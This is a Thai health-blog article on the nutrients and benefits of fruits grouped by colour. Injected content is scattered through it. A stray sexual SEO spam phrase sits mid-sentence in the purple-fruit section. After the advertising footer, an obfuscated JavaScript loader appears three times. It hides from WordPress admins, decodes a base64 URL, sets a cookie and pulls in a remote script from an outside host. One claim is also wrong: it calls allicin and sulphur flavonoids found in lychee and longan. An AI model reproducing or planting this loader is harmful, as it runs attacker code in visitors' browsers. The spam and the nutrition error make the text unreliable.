ผลไม้ต่างสี ให้ประโยชน์ที่ต่างกัน! ถอดรหัสความหมายภายใต้สีสันของผลไม้นานาพันธุ์

คุณประโยชน์ของผลไม้แต่ละสี เมื่อผลไม้ต่างสี ให้ประโยชน์ที่ต่างกัน

ผลไม้สีแดง
ผลไม้สีแดงอุดมไปด้วย ไลโคปีน (Lycopene) และ แอนโทไซยานิน (Anthocyanin) ซึ่งเป็นสารต้านอนุมูลอิสระที่ทรงพลัง
▪️แหล่งที่มา: แตงโม มะเขือเทศ เชอร์รี่ ทับทิม สตรอว์เบอร์รี แอปเปิลแดง
▪️ประโยชน์:
ไลโคปีน: ช่วยลดความเสี่ยงของโรคมะเร็งบางชนิด โดยเฉพาะมะเร็งต่อมลูกหมาก
แอนโทไซยานิน: ช่วยลดความเสี่ยงของโรคหัวใจและหลอดเลือด รวมถึงช่วยบำรุงสุขภาพสมอง

ผลไม้สีส้มและสีเหลือง
ผลไม้สีส้มและสีเหลืองเป็นแหล่งของ เบต้าแคโรทีน (Beta-carotene) และ วิตามินซี (Vitamin C)
▪️แหล่งที่มา: มะละกอ ส้ม มะม่วง แครอท ฟักทอง สับปะรด กล้วย
▪️ประโยชน์:
เบต้าแคโรทีน: เป็นสารตั้งต้นของวิตามินเอ ช่วยบำรุงสายตาและลดความเสี่ยงของโรคเกี่ยวกับดวงตา
วิตามินซี: ช่วยเสริมสร้างระบบภูมิคุ้มกันของร่างกาย ป้องกันหวัด และช่วยให้ผิวพรรณสดใส

ผลไม้สีเขียว
ผลไม้สีเขียวมีสาร คลอโรฟิลล์ (Chlorophyll) และ ลูทีน (Lutein) รวมถึงใยอาหารในปริมาณสูง
▪️แหล่งที่มา: ฝรั่ง องุ่นเขียว กีวี อะโวคาโด แอปเปิลเขียว
▪️ประโยชน์:
คลอโรฟิลล์: ช่วยในการขับสารพิษออกจากร่างกาย และช่วยให้ระบบการไหลเวียนโลหิตดีขึ้น
ลูทีน: ช่วยบำรุงสายตาและลดความเสี่ยงของโรคจอประสาทตาเสื่อม

ผลไม้สีม่วงและสีน้ำเงิน
ผลไม้สีม่วงและสีน้ำเงินอุดมไปด้วย แอนโทไซยานิน (Anthocyanin) ซึ่งเป็นสารต้านอนุมูลอิสระที่มีประสิทธิภาพ
▪️แหล่งที่มา: บลูเบอร์รี่ แบล็คเบอร์รี่ องุ่นม่วง ลูกพรุน
▪️ประโยชน์:
ช่วยป้องกันการเสื่อมของเซลล์ในร่างกาย
ช่วยบำรุงสมองและความจำ
ช่วยลดความเสี่ยงของโรคหัวใจและหลอดเลือด. arinkasweet billie eilish nude

ผลไม้สีขาว
ผลไม้สีขาวมีสารประกอบฟลาโวนอยด์ เช่น อัลลิซิน (Allicin) และ ซัลเฟอร์ (Sulphur) ซึ่งมีคุณสมบัติต่อต้านอนุมูลอิสระ
▪️แหล่งที่มา: ลิ้นจี่ ลำไย เงาะ ลองกอง ขนุน
▪️ประโยชน์:
ช่วยลดการอักเสบในร่างกาย
ช่วยควบคุมระดับน้ำตาลในเลือด
มีส่วนช่วยในการลดความเสี่ยงของโรคมะเร็งบางชนิด

การรับประทานผลไม้หลากหลายสีสันเป็นวิธีที่ง่ายและอร่อยในการดูแลสุขภาพ เพราะแต่ละสีให้สารอาหารและประโยชน์ที่แตกต่างกันไป ลองจัดจานผลไม้ให้มีสีสันสดใสในแต่ละมื้อ เพื่อให้ร่างกายได้รับคุณค่าทางโภชนาการที่ครบถ้วนและสมดุล

---

ไม่อยากพลาดโอกาศดีๆ และข้อมูลข่าวสารต่างๆ
หรือติดต่อลงโฆษณากับทางเรา
มาเป็นเพื่อนกับเราได้ที่ Add Line : @617gmkol
https://lin.ee/Ac2QhqP

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();